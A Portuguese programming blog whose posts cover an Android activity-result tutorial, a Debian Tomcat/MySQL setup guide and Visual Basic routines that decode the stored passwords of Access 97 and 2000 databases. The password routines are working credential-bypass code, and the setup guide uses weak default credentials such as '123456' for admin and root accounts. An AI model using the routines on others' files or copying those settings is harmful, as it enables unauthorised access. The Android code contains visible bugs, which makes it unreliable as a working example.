Programação & Informática

Rcebendo retorno da janela

2011-10-13T08:22:00.000-07:00

Visitas

Uma operação bastante comum, pelo menos no meu caso, é tomar decisões baseadas em ações realizadas em uma janela. No Android, essa operação é bastante simples, porém o que mais vejo são pessoas utilizando classes protect – que funciona como uma variável global – para realizar essa tarefa.

No meu ponto de vista, assim como o antigo “go to”, a variável global não é algo que deva ser extinguido dos códigos. Assim como o “go to” ou “goto”, ela é necessária e muitas vezes faz com que o código fique mais eficiente e limpo. O problema é com o uso indiscriminado dessas alternativas.

Nosso código é simples. Teremos uma primeira tela, principal, onde terá um botão que ao ser clicado abrirá uma nova tela com dois botões – OK e Cancelar -. Dependendo do botão clicado, na segunda tela, a primeira tela fechará ou continuará aberta.

Vamos ao código.

Arquivo main.xml, define o layout de nossa janela principal.

Arquivo Tela2.xml, define o layout de nossa segunda janela.

<?xml version="1.0" encoding="utf-8"?>
< LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
   android:orientation="vertical"
   android:layout_width="fill_parent"
   android:layout_height="fill_parent">

<Button android:layout_width="150px" android:layout_height="wrap_content" android:id="@+id/BtnOk" android:text="@string/BtnOk"></Button>

<Button android:layout_width="150px" android:layout_height="wrap_content" android:id="@+id/BtnOk" android:text="@string/BtnOk"></Button>

<Button android:layout_width="150px" android:layout_height="wrap_content" android:id="@+id/BtnCancel" android:text="@string/BtnCancel"></Button>

</LinearLayout>

Arquivo strings.xml, define os valores para nossas “constantes”

<?xml version="1.0" encoding="utf-8"?>
<resources>
   <string name="app_name">Principal</string>
   <string name="app_name_2">TesteDroid2</string>
   <string name="BtnCancel">Cancelar</string>
   <string name="BtnOk">OK</string>
</resources>

Arquivo AndroidManifest.xml, definimos os nomes e classes de nossas telas. Nesse arquivo nos definiremos quais os nomes das classes de nossas telas, para que possamos referencia-las posteriormente. Notemos que a categoria para a tela principal é android.intent.category.LAUNCHER já a tela secundária é android.intent.category.DEFAULT.
Podemos definir o nome da Classe a nosso gosto, neste caso, a tela principal foi definida automaticamente, já na tela 2 eu dei o nome de com.TesteDroid.Tela2.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.teste.Droid"
   android:versionCode="1"
   android:versionName="1.0">
   <uses-sdk android:minSdkVersion="7" />

   <application android:icon="@drawable/icon" android:label="@string/app_name">
      <activity android:name=".TesteDroidActivity" android:label="@string/app_name">
      <intent-filter>
         <action android:name="android.intent.action.MAIN" />
         <category android:name="android.intent.category.LAUNCHER" />
         </intent-filter>
      </activity>

      <activity android:name="Tela2" android:label="@string/app_name_2">
         <intent-filter>
            <action android:name="com.TesteDroid.Tela2" />
            <category android:name="android.intent.category.DEFAULT" />
         </intent-filter>
      </activity>

   </application>
</manifest>

Com nosso resouce montado, vamos ao código.

Nossa tela principal terá o seguinte código

package com.TesteDroid;

import android.app.Activity;
import android.content.ContentValues;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;

public class TesteDroidActivity extends Activity {
     /** Called when the activity is first created. */

     @Override
     public void onCreate(Bundle savedInstanceState) {
          super.onCreate(savedInstanceState);
          setContentView(R.layout.main);

          // Criando o botão OK
          // o findViewById retorna o componente definido em nosso layout,
          // em um tipo genérico, redefinimos para o tipo Buttuon.
          // percebemos que não foi criado um novo botão, foi apenas
          // referenciado
          final Button btnOk = (Button)findViewById(R.id.BtnOk);

          /* ***************************************************
          *           E v e n t o s
          *****************************************************/

          btnOk.setOnClickListener(new View.OnClickListener() {

               //evento de clique nobotão
               public void onClick(View v) {
                    //refernciando a tela 2, verifique que passamos
                    // o nome da classe que definimos no AndroidManifest.xml como parâmetro
                         Intent frmTela2 = new Intent("com.TesteDroid.Tela2");
                         //chamando a tela 2
                         startActivityForResult(frmTela2, 1);
                    }
               });

     }

     //evento disparado na volta da tela 2
     public void onActivityResult(int requestCode, int resultCode, Intent data)
     {
          if (requestCode == 0 ) return;
          //pegando o valor de resultado
          // se for falso, eu fecho o programa
          if (!ata.getExtras().getBoolean("resultado"))
           {
               finish();
          }
     }
}

Código da tela 2

package com.RMaster.Droid;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
public class Tela2 extends Activity
{
     @Override
     public void onCreate(Bundle savedInstanceState)
     {
          super.onCreate(savedInstanceState);
          setContentView(R.layout.Tela2);

          Intent data = new Intent();
          // Colocando o valor false em resultado, para poder se
          // acessado na volta da janela
          // esses valor é setado aqui, pois a pessoa pode fechar
          // a tela sem clicar em nenhum botão
          data.putExtra("resultado", false);
          setResult(0,data);

          Button BtnOk = (Button)findViewById(R.id.BtnOk);
          BtnOk.setOnClickListener(new View.OnClickListener() {

               public void onClick(View v) {
                    // TODO Auto-generated method stub
                    if (alteraSenha())
                    {
                         Intent data = new Intent();
                         data.putExtra("resultado", true);
                         setResult(1,data);
                         finish();
                    }
               }
          });

          Button BtnCancel = (Button)findViewById(R.id.Cancel);
          BtnOk.setOnClickListener(new View.OnClickListener() {

               public void onClick(View v) {
                    // TODO Auto-generated method stub
                    Intent data = new Intent();
                    data.putExtra("resultado", false);
                    setResult(1,data);
                    finish();
               }
          });

     }
}

Recuperando Senha do Banco de Dados Access 2000

2010-11-10T07:02:00.000-08:00

Visitas

Já aconteceu comigo e provavelmente com você que está lendo. Incluir uma senha em um banco de dados Access 2000 e depois não recordar. Por isso, e por didática, resolvi postar o código em Visual Basic 6.0.

Veja Também Recuperando Senha do Banco de Dados Access 97

Vou considerar um Form com uma caixa de texto onde será colocado o caminho completo da base de dados. Um Botão que executará a quebra da senha e um rótulo que mostrará a senha.

No evento on_Click do botão, incluiremos o código.

Private Sub Command1_Click()
Label1.Caption = DescobreSenha2000(Text1.Text)
End Sub

Crie um módulo e inclua o código abaixo.

'Tamanho máximo da senha compila, onde cada caracter da senha
'estará representado pelo seu repectivo código ASC em hexadecimal
Const LEN_PWD_COMPILED = 20 * 2

Const OFFSET_PWD_INTERVAL = 4
Const OFFSET_PWD_COMPILED = 66

'Posição no arquivo onde começa a senha
Const OFFSET_XOR_GET = OFFSET_PWD_COMPILED + LEN_PWD_COMPILED - OFFSET_PWD_INTERVAL

'Valor padrão usado na conversão da senha
Const VAL_XOR_FIX = &H2A7DA8A8

Public Function DescobreSenha2000(ByVal FileName As String) As String
   On Error GoTo Erro
   Dim New_Xor_Val As Long
   Dim New_Xor_Char As Variant
   Dim i As Long
   Dim NewPassword As String
   Dim Part_Char As String
   Dim Part_Char_Hex As String

   Dim texto As String
   Dim arq As Long
   'Abrindo o arquivo é pegando os (OFFSET_XOR_GET + 5) primeiros bytes, pois é onde se encontrará a senha
   arq = FreeFile
   Open FileName For Binary As arq
   texto = String(OFFSET_XOR_GET + 1 + OFFSET_PWD_INTERVAL, " ")
   Get #arq, 1, texto
   Close arq

   New_Xor_Val = CompileVal(Mid(texto, OFFSET_XOR_GET + 1, OFFSET_PWD_INTERVAL)) Xor VAL_XOR_FIX

   'Array padrão usado para decodificar a senha
   New_Xor_Char = Array(&H37EDE6BC, &HFA9D5967, &HE62943FC, &H608BAB29, &H367A896E, &HB1DE6FCF, &H4312E94D, &H33B0B2F5, &H5B787C0E, &H2A7DA8A8)

   For i = 1 To LEN_PWD_COMPILED / OFFSET_PWD_INTERVAL
      Part_Char = Mid(texto, OFFSET_PWD_COMPILED + (i - 1) * OFFSET_PWD_INTERVAL + 1, OFFSET_PWD_INTERVAL)
      Part_Char_Hex = AlnRight(Hex((CompileVal(Part_Char) Xor New_Xor_Val) Xor New_Xor_Char(i - 1)), 2 * OFFSET_PWD_INTERVAL)
      NewPassword = Chr(HexToLng(Mid(Part_Char_Hex, 1, 4))) & Chr(HexToLng(Mid(Part_Char_Hex, 5, 4))) & NewPassword
   Next

   DescobreSenha2000 = StrReverse(Replace(NewPassword, Chr(0), ""))
   Exit Function
Erro:
   MsgBox "Erro: " & Err.Number & " - " & Err.Description
   DescobreSenha2000 = "Erro na descoberta da senha"
End Function

'Compila o texto passado de acordo com a regra utilizada
'na "criptografia" da senha
Private Function CompileVal(Text As String) As Long
   Dim Val As String
   Dim TextRev As String
   Dim i As Long

   TextRev = StrReverse(Text)
   For i = 1 To Len(TextRev)
      Val = Val & AlnRight(Hex(Asc(Mid(TextRev, i, 1))), 2)
   Next i
   CompileVal = HexToLng(Val)
End Function

'Alinha a esquerda
Private Function AlnRight(Val As String, LenEnd As Long, Optional Char As String = "0") As String
   AlnRight = String(LenEnd - Len(Val), Char) & Val
End Function

'Converte um número Hexadecimal em Inteiro Longo
Private Function HexToLng(ValHex As String) As Long
   HexToLng = Val("&h" & ValHex & "&")
End Function

Recuperando Senha do Banco de Dados Access 97

2010-11-05T11:45:00.000-07:00

Visitas

Já aconteceu comigo e provavelmente com você que está lendo. Incluir uma senha em um banco de dados Access 97 e depois não recordar. Por isso, e por didática, resolvi postar o código em Visual Basic 6.0.

Veja Também Recuperando Senha do Banco de Dados Access 2000

Vou considerar um Form com uma caixa de texto onde será colocado o caminho completo da base de dados. Um Botão que executará a quebra da senha e um rótulo que mostrará a senha.

No evento on_Click do botão, incluiremos o código.

Private Sub Command1_Click()
Label1.Caption = DescobreSenha(Text1.Text)
End Sub

Crie um módulo e inclua o código abaixo.

Public Function DescobreSenha(NomeDB As String) As String
   Dim NPassByte() As Byte
   Dim hFile As Integer
   Dim subPassByte() As Byte
   Dim passByte(0 To 19) As Byte
   Dim i As Integer
   Dim Buffer As String

   'Abrindo o arquivo mdb (base de dados) de forma binária
   hFile = FreeFile
   Open NomeDB For Binary As #hFile

   'Pulando para a posição do arquivo que contém a senha
   Seek #hFile, 67

   'pegando os 20 caracteres a partir da posição de início
   'A senha do access suporta senha de no máximo 20 caracteres
   subPassByte = InputB(20, #hFile)

   'fechando o arquivo
   Close #hFile

   'String de conversão da senha
   NPassByte = ChrB(134) & ChrB(251) & ChrB(236) & ChrB(55) & ChrB(93) & ChrB(68) & ChrB(156) & ChrB(250) & ChrB(198) & ChrB(94) & ChrB(40) & ChrB(230) & ChrB(19) & ChrB(182) & ChrB(138) & ChrB(96) & ChrB(84) & ChrB(148) & ChrB(123) & ChrB(54)

   'Usando a string de conversão para converter a senha
   'a "criptografia da senha" nada mais é do que um Xor
   'dos bytes no arquivo da base de dados com a string
   'criada acima
   For i = 0 To 19
      passByte(i) = subPassByte(i) Xor NPassByte(i)
   Next

   'convertendo o vetor de byte em uma string no unicode
   Buffer = StrConv(passByte, vbUnicode) & vbNullChar

   'Retornado a string com a senha, convertida, limpando a string dos nulo, pois na
   'maioria das vezes a senha não tem o tamanho de 20 caracteres
   DescobreSenha = Left$(Buffer, InStr(1, Buffer, vbNullChar, vbBinaryCompare) - 1)
End Function

Montando um ambiente utilizando Tomcat+Java+mysql (Debian)

2009-07-02T06:35:00.000-07:00

Visitas

Ferramentas necessárias

Considerações iniciais

O objetivo desse artigo não é ensinar a programação java, nem explicar o funcionamento do tomcat. Será considerado que o leitor já tem estas informações. Aqui iremos apenas mostrar o caminho para a instalação e configuração do servidor tomcat, apesar de utilizar de alguns códigos em java para testar o funcionamento de nosso servidor.

Ferramentas

Para começarmos a montagem de nosso ambiente, considerarei que algumas ferramentas já estão instaladas. Não irei entrar em detalhes sobre estas instalações, mas darei uma dica para instalá-las via apt-get.

Serão necessários:

mysql - servidor de base de dados
# apt-get install mysql-server-5.0

bind - servidor DNS
# apt-get install bind9

O servidor de nomes serivrá para utilizarmos o domínio de nosso servidor no lugar do localhost, apesar de este artigo utilizarmos sempre a URL http://localhost.

lynx - navegador de páginas em modo texto
# apt-get install lynx

Iremos mostrar neste artigo a instalação do

Java - jsdk
Tomcat - conatiner para aplicações java para web
drive do java para mysql.

Instalação das ferramentas

Antes de começar as instalações, gostaria de informar que as instalações serão feitas em modo shell, utilizando o apt-get, mas o leitor poderá optar por utilizar a ferramenta gráfica (front end) synaptic.

Obs.: se a apt-get não encontrar os pacotes que iremos instalar, adicione os seguintes repositórios em seu arquivo /etc/apt/source.list.

deb http://ftp.debian.org/debian/ etch main contrib non-free
deb http://ftp.br.debian.org/debian etch main contrib non-free.

Antes de mais nada será necessário instalar os pacotes java, para isso basta usar a seguinte linha de comando:

# apt-get install sun-java5-jdk

Agora, iremos instalar o tomcat. Outra tarefa muito fácil, basta como root digitar o seguinte comando:

# apt-get install tomcat5.5

O padrão do tomcat é responder a requisições solicitadas na porta 8180, logo, a URL utilizada para acessar as páginas em seu servidor será:

http://localhost:8180

Você poderá alterar esta porta alterando-a na linha
<Connector port="8180" maxHttpHeaderSize="8192"
do arquivo /usr/share/tomcat5.5/conf/server.xml, porém, aqui nós iremos trabalhar com esta porta padrão.

Feito isso, nosso container terá sido instalado, porém, não aparecerá nenhuma página, pois nada foi criado. Podemos então instalar a página de administração do tomcat e as páginas de exemplos, para isso excute, como root:

# apt-get install tomcat5.5-admin tomcat5.5-webapps

Agora, faça o teste

# lynx localhost:8180

Configurando o Tomcat

Primeiro, vamos verificar qual diretório Home do tomcat, para isso, basta entrar no arquivo /etc/init.d/tomcat5.5 e ver as variáveis de instalação.

# more /etc/init.d/tomcat5.5

aparecerá algo como:

PATH=/bin:/usr/bin:/sbin:/usr/sbin
NAME=tomcat5.5
DESC="Tomcat servlet engine"
CATALINA_HOME=/usr/share/$NAME
DAEMON=$CATALINA_HOME/bin/catalina.sh
DEFAULT=/etc/default/$NAME

ou seja, neste caso a pasta Home é /usr/share/tomcat5.5.

Vamos alterar o usuário e a senha do administrador.
Edite o arquivo /usr/share/tomcat5.5/conf/tomcat-users.xml e subistituir seu conteúdo por.

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager"/>
<role rolename="admin"/>
<user username="admin" password="123456" roles="admin,manager"/>
</tomcat-users>

salve o arquivo e reinicie o tomcat com o comando

# /etc/init.d/tomcat5.5 restart

Feito isso, podemos acessar a página de configuração do tomcat

# lynx localhost:8180

ir no link Status, digitar o usuário admin e senha 123456.

vá no link List Applications para ver as aplicações que estão em execução.

Criando nossa aplicação para teste

Nossa primeira aplicação de teste será um arquivo jsp.

Caso não exista, cria o diretório /var/www/teste. Importante é verificar a permissão para que o tomcat tenha acesso. Eu sugiro a permissão 755.

dentro de /var/www crie o arquivo teste.xml com o seguinte conteúdo

Esse arquivo informa que quando for acrescentado /teste no final da URL ele deverá redirecionar para o diretório /var/www/teste.

Existe um arquivo com <Context path="/" docBase=... informando para qual diretório o tomcat deverá apontar quando não for digitado nada depois da URL.

Ainda dentro diretório /var/www/teste, crie o arquivo index.jsp e coloque o conteúdo

Olá mundo !!!<br>
1 + 1 = ${1+1}

salve.
Essa será a nossa página.

Agora entre no diretório /usr/share/tomcat5.5/conf/Catalina/localhost/ e crie um link simbólico com o nome de teste.xml para /var/www/teste/teste.xml

# cd /usr/share/tomcat5.5/conf/Catalina/localhost/
# ln -s /var/www/teste.xml teste.xml

O tomcat irá ler todos os xml's que estão dentro desta pasta para configurar os acessos as páginas. Nós poderíamos ter criado o arquivo teste.xml direto neste local, mas por questão de organização preferi criá-lo em outro local e fazer um link.

Reinicie o tomcat e faça o teste acessando a URL localhost:8180/teste

deverá aparecer o seguinte conteúdo

Olá mundo !!!
1 + 1 = 2

Nosso segundo exemplo será a criação de servelet.

Para isso, criaremos dentro de nosso diretório /var/www/teste o diretório WEB-INF e dentro do diretório WEB-INF crie o diretório classes.

# cd /var/www/teste
# mkdir WEB-INF
# mkdir WEB-INF/classes

Dentro do diretório classes criaremos nosso código java. Chamarei de Teste2.java e conterá o seguinte conteúdo.

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Teste2 extends HttpServlet
{
   public void doGet( HttpServletRequest request, HttpServletResponse response ) throws IOException, ServletException
   {
      response.setContentType("text/html");
      PrintWriter out = response.getWriter();
      out.println("<html>");
      out.println("<body>");
      out.println("<head>");
      out.println("<title>Ola mundo !</title>");
      out.println("</head>");
      out.println("<body>");
      out.println("<h1>Ola Mundo!</h1>");
      out.println("</body>");
      out.println("</html>");
   }
}

Grave o arquivo.

Para gerar o arquivo class, precisaríamos do servlet.jar, porém no java 5 o arquivo correto é servlet-api.jar. Procure por esse arquivo em seu micro utilizando o comando find.

# find / -name servlet-api.jar

No nosso caso o arquivo foi encontrado no diretório /usr/share/java/servlet-api.jar, então, poderemos compilar nossa servlet com o seguinte comando:

# javac -classpath /usr/share/java/servlet-api.jar Teste.java

Agora nossa classe está pronta.

Vamos fazer com que possamos acessá-la pela url.

crie o arquivo WEB-INF/web.xml com o seguinte conteúdo:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>

   <display-name>Teste !</display-name>
   <description>
      Tetste Ola Mundo !!
   </description>

   <servlet>
      <servlet-name>teste</servlet-name>
      <servlet-class>Teste</servlet-class> //Nome da classe a ser acessada
   </servlet>

   <servlet-mapping>
      <servlet-name>teste</servlet-name>
      <url-pattern>/teste-ola</url-pattern> // caminho a ser digitado
   </servlet-mapping>
</web-app>

Reinicie o tomcat.

# /etc/ini.d/tomcat5.5

Agora, o endereço http://localhost:8180/teste acessará nosso arquivo jsp e o endereço http://localhost:8180/teste/teste-ola acessará nosso servlet.

Conectando ao mysql

Vamos começar de forma diferente esse item. Começaremos criando o código para acessar as tabelas mysql e em seguida iremos corrigindo os erros conforme forem aparecendo.

Considerarei que o mysql acabou de ser instalado, logo, encontra-se sem banco, tabelas, senha etc.

Criando a senha do root como 123456:

# mysqladmin -u root password 123456

Entrando no mysql

# mysql -u root -p

Basta digitar a senha criada.

Confirmando se existe banco de dados criado.

mysql> show databases;

Se aparecer empty é porque está vazio.

Criando o banco de dados DBTeste

mysql> create database dbTeste;

Confirmando se criou.

mysql> show databases;

+-------------------------+
| Database |
+-------------------------+
| dbTeste |
+-------------------------+

Acessando o Banco:

mysql> use dbTeste

Crinando uma tabela (tbTeste) com apenas um registro (codteste) para podermos testar.

mysql> create table tbTeste (codteste integer);

Verificando se a tabela foi criada.
mysql> show tables;
+-------------------+
| Tables_in_dbTeste |
+-------------------+
| tbTeste |
+-------------------+

Inserindo registros na tabela.
mysql> insert into tbTeste (codteste) value (1);

mysql> insert into tbTeste (codteste) value (7);

mysql> insert into tbTeste (codteste) value (17);

mysql> insert into tbTeste (codteste) value (37);

Listando para saber se os registros realmente foram inseridos de forma correta.

mysql> select * from tbTeste;
+----------+
| codteste |
+----------+
| 1 |
| 7 |
| 17 |
| 37 |
+----------+

Beleza, nossa base está pronta para ser usada. Vamos sair.

mysql> exit

Agora, criaremos nosso código em java para testarmos a conexão com a base de dados.

Crie um arquivo com o nome OlaBase.java, em qualquer diretório, apenas para teste, e inclua o conteúdo a seguir.

import java.sql.*;
public class OlaBase
{
   public static void main (String args[])
   {
      String url = "jdbc:mysql://localhost:3306/dbTeste"; //string de conexão a base dbTeste
      String user = "root"; //usuário da base de dados
      String pwd = "123456";//senha do usuário criado
      try
      {
         Class.forName("com.mysql.jdbc.Driver");
         System.out.println("\nDrive carregado com sucesso!!!\n");
         try
         {
            Connection cn = DriverManager.getConnection(url, user, pwd);
            System.out.println("\nConexao estabelecida!!!\n");
            String sql = "select * from tbTeste";
            Statement stm = cn.createStatement();
            try
            {
               ResultSet rs = stm.executeQuery(sql);
               while (rs.next())
               {
                  System.out.println("\n" + rs.getString("codteste") + "\n");
               }
            }
               catch (Exception ex)
            {
               System.out.println("\nErro no Select!!!\n");
            }
         }
         catch (Exception ex)
         {
            System.out.println("\nErro na conexao!!!\n");
         }
      }
      catch (ClassNotFoundException ex)
      {
         System.out.println("Erro na conexao com a base de dados!!!");
         ex.printStackTrace();
      }
      catch (Exception ex)
      {
         System.out.println("Drive nao pode ser carregado!!!");
      }
      System.out.println("Olá Base!!!");
   }
}

Agora vamos compilar.

# javac OlaBase.java

Tudo deverá ocorrer OK. Então, vamos executar.

# java OlaBase

Devera aparecer a seguinte saída.

Erro na conexao com a base de dados!!!

java.lang.ClassNotFoundException: com.mysql.jdbc.Driver
at java.net.URLClassLoader$1.run(URLClassLoader.java:200)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:188)
at java.lang.ClassLoader.loadClass(ClassLoader.java:306)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:268)
at java.lang.ClassLoader.loadClass(ClassLoader.java:251)
at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Class.java:164)
at OlaBase.main(OlaBase.java:11)
Ola Base!!!

Vimos nesta saída que o drive não foi encontrado (ClassNotFoundException: com.mysql.jdbc.Driver).

Então, vamos instalar o drive para mysql.
Primeiro, vamos ver se ele exeiste em nossa máquina.

# find / -name "mysql-connect*"

Se não retornar nenhum arquivo, vamos a instalação de drive.
Vamos ver se existe algum pacote para podermos instalarmos via apt-get.

# apt-cache search jdbc

Aparecerá a seguinte lista de pacotes.

haskell-hsql-doc - Multi-Database Interface System for Haskell
henplus - JDBC SQL commandline frontend with TAB-completion
hsqldb-server - Java SQL database server
libghc6-hdbc-dev - Haskell Database Connectivity, GHC6 package
libghc6-hsql-dev - Multi-Database Interface System for Haskell
libghc6-hsql-mysql-dev - Multi-Database Interface System for Haskell
libghc6-hsql-odbc-dev - Multi-Database Interface System for Haskell
libghc6-hsql-postgresql-dev - Multi-Database Interface System for Haskell
libghc6-hsql-sqlite-dev - Multi-Database Interface System for Haskell
libghc6-hsql-sqlite3-dev - Multi-Database Interface System for Haskell
libhsqldb-java - Java SQL database engine
libhsqldb-java-doc - documentation for HSQLDB
libhugs-hdbc - Haskell Database Connectivity, Hugs package
liblog4j1.2-java - Logging library for java
libmysql-java - Java database (JDBC) driver for MySQL
libodbc++-dev - C++ library for ODBC SQL database access
libodbc++-doc - C++ library for ODBC SQL database access
libodbc++4 - C++ library for ODBC SQL database access
libpg-java - Java database (JDBC) driver for PostgreSQL
libpgjava - Java database (JDBC) driver for PostgreSQL - transitional package
libpostgis-java - geographic objects support for PostgreSQL -- JDBC support
libsapdbc-java - JDBC interface to the MaxDB database system
libstruts1.2-java - Java Framework for MVC web applications
openoffice.org-base - OpenOffice.org office suite - database
postgresql-contrib-7.4 - additional facilities for PostgreSQL

No nosso caso queremos a "libmysql-java - Java database (JDBC) driver for MySQL". Então, vamos instalar.

# apt-get install libmysql-java

Após a instalação, vamos conferir se o arquivo .jar passou a existir.

# find / -name "mysql-connect*"

Agora aparecerá o arquivo, no meu caso o resultado da busca foi:
/usr/share/java/mysql-connector-java-5.0.4.jar

Então, basta colocar esse arquivo no classpath.

# export CLASSPATH=$CLASSPATH:"/usr/share/java/mysql-connector-java-5.0.4.jar"

Agora, tente executar o nosso programa.

# java OlaBase

O resultado será:

Drive carregado com sucesso!!!

Conexao estabelecida!!!

1

7

17

37

Ola Base!!!

Pronto, a conexão com a base de dados foi estabelecida.

Claro que a variável CLASSPATH não continuará não valerá quando reiniciarmos a máquina. Mas para resolver o problema, basta adicionar a linha no final do arquivo /etc/profile

echo "export CLASSPATH=\$CLASSPATH:"/usr/share/java/mysql-connector-java.jar"" >> /etc/profile

Agora, vamos voltar nosso arquivo index.jsp no diretório /var/www/teste e vamos fazer a alteração abaixo, para conectar a base de dados. Basta incluir no final de nosso arquivo o código:

<%
try
{
   Class.forName("com.mysql.jdbc.Driver");
   out.println ("<br>Drive encontrado!!!");
}
catch (ClassNotFoundException ex)
{
   out.println ("<br>Erro drive<br>");
   out.println (ex.toString());
}
catch (Exception ex)
{
   out.println ("<br>Erro ao procurar o drive<br>" + ex.toString());
}
%>

Salve o arquivo e em seu browser, acesse a url hocalhost:8180/teste

Aparecerá a página:

Olá mundo !!!
1 + 1 = 2

Erro drive
java.lang.ClassNotFoundException:com.mysql.jdbc.Driver

Mas como o drive é encontrado em nossa aplicação e não é encontrado em nossa página ? O motivo é que nossa aplicação procura pelo CLASSPATH já as páginas tem é limitada a buscar no diretório padrão ou no diretório de nosso projeto.

Então, basta copiar o arquivo com o drive para o diretório <CATALINA_HOME>/common/lib, porém aqui iremos apenas criar um link simbólico para o arquivo.

# cd /usr/share/tomcat5.5/common/lib
# ln -s ../../../java/mysql-connector-java-5.0.4.jar mysql-connector-java.jar

Reinicie o tomcat
# /etc/init.d/tomcat5.5 restart

Tente novamente acessar a URL localhost:8180/teste
Desta vez o resultado será:

Olá mundo !!!
1 + 1 = 2

Drive encontrado!!!

Vamos continuar nosso exemplo de teste, aumentando o código.
Edite novamente o arquivo /var/www/teste/index.jsp

Agora, vamos modificá-lo deixando com o seguinte código:

<%@page import="java.sql.*"%>
Olá mundo !!!<br>
1 + 1 = ${1+1}
<br>

<%
String url = "jdbc:mysql://localhost:3306/dbTeste"; //string de conexão a base dbTeste
String user = "root"; //usuário da base de dados
String pwd = "123456";//senha do usuário criado
try
{
   Class.forName("com.mysql.jdbc.Driver");
   out.println("<br>Drive carregado com sucesso!!!<br>");
   try
   {
      Connection cn = DriverManager.getConnection(url, user, pwd);
      out.println("<br>Conexao estabelecida!!!<br>");
      String sql = "select * from tbTeste";
      Statement stm = cn.createStatement();
      try
      {
         ResultSet rs = stm.executeQuery(sql);
         while (rs.next())
         {
            out.println( " - " + rs.getString("codteste"));
         }
      }
      catch (Exception ex)
      {
         out.println("<br>Erro no Select!!!<br>" + ex.printStackTrace());
      }
   }
   catch (Exception ex)
   {
      out.println("<br>Erro na conexao!!!<br>" + ex.printStackTrace());
   }
}
catch (ClassNotFoundException ex)
{
   out.println("<br>Erro na conexao com a base de dados!!!<br>" + ex.printStackTrace());
}
catch (Exception ex)
{
   out.println("<br>Drive nao pode ser carregado!!!<br>" + ex.printStackTrace());
}
   out.println("<br>Olá Base!!!<br>");
}

%>

Ao acessarmos a URL localhost:8081/teste nos depararemos com a seguinte mensagem:

Olá mundo !!!
1 + 1 = ${1+1}

Erro na conexão

com.mysql.jdbc.CommunicationsException: Communications link failure due to underlying exception: ** BEGIN NESTED EXCEPTION ** java.security.AccessControlException MESSAGE: access denied (java.net.SocketPermission localhost resolve) STACKTRACE: java.security.AccessControlException: access denied (java.net.SocketPermission localhost resolve) at java.security.AccessControlContext.checkPermission(AccessControlContext.java:264) at java.security.AccessController.checkPermission(AccessController.java:427) at java.lang.SecurityManager.checkPermission(SecurityManager.java:532) at java.lang.SecurityManager.checkConnect(SecurityManager.java:1031) at java.net.InetAddress.getAllByName0(InetAddress.java:1134) at java.net.InetAddress.getAllByName(InetAddress.java:1072) at java.net.InetAddress.getAllByName(InetAddress.java:1008) at com.mysql.jdbc.StandardSocketFactory.connect(StandardSocketFactory.java:138) at com.mysql.jdbc.MysqlIO.(MysqlIO.java:277) at com.mysql.jdbc.Connection.createNewIO(Connection.java:2668) at com.mysql.jdbc.Connection.(Connection.java:1531) at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:266) at java.sql.DriverManager.getConnection(DriverManager.java:525) at java.sql.DriverManager.getConnection(DriverManager.java:171) at org.apache.jsp.index_jsp._jspService(index_jsp.java:65) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:97) at javax.servlet.http.HttpServlet.service(HttpServlet.java:802) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:334) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:314) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:264) at javax.servlet.http.HttpServlet.service(HttpServlet.java:802) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:585) at org.apache.catalina.security.SecurityUtil$1.run(SecurityUtil.java:243) at java.security.AccessController.doPrivileged(Native Method) at javax.security.auth.Subject.doAsPrivileged(Subject.java:517) at org.apache.catalina.security.SecurityUtil.execute(SecurityUtil.java:275) at org.apache.catalina.security.SecurityUtil.doAsPrivilege(SecurityUtil.java:161) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:245) at org.apache.catalina.core.ApplicationFilterChain.access$0(ApplicationFilterChain.java:177) at org.apache.catalina.core.ApplicationFilterChain$1.run(ApplicationFilterChain.java:156) at java.security.AccessController.doPrivileged(Native Method) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:152) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:213) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:178) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:126) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:105) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:107) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:148) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:869) at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:664) at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:527) at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:80) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:684) at java.lang.Thread.run(Thread.java:595) ** END NESTED EXCEPTION ** Last packet sent to the server was 52 ms ago.

Felizmente, se tudo correu bem até aqui, esse será nosso último erro.

Teremos que liberar a permissão de conexão.

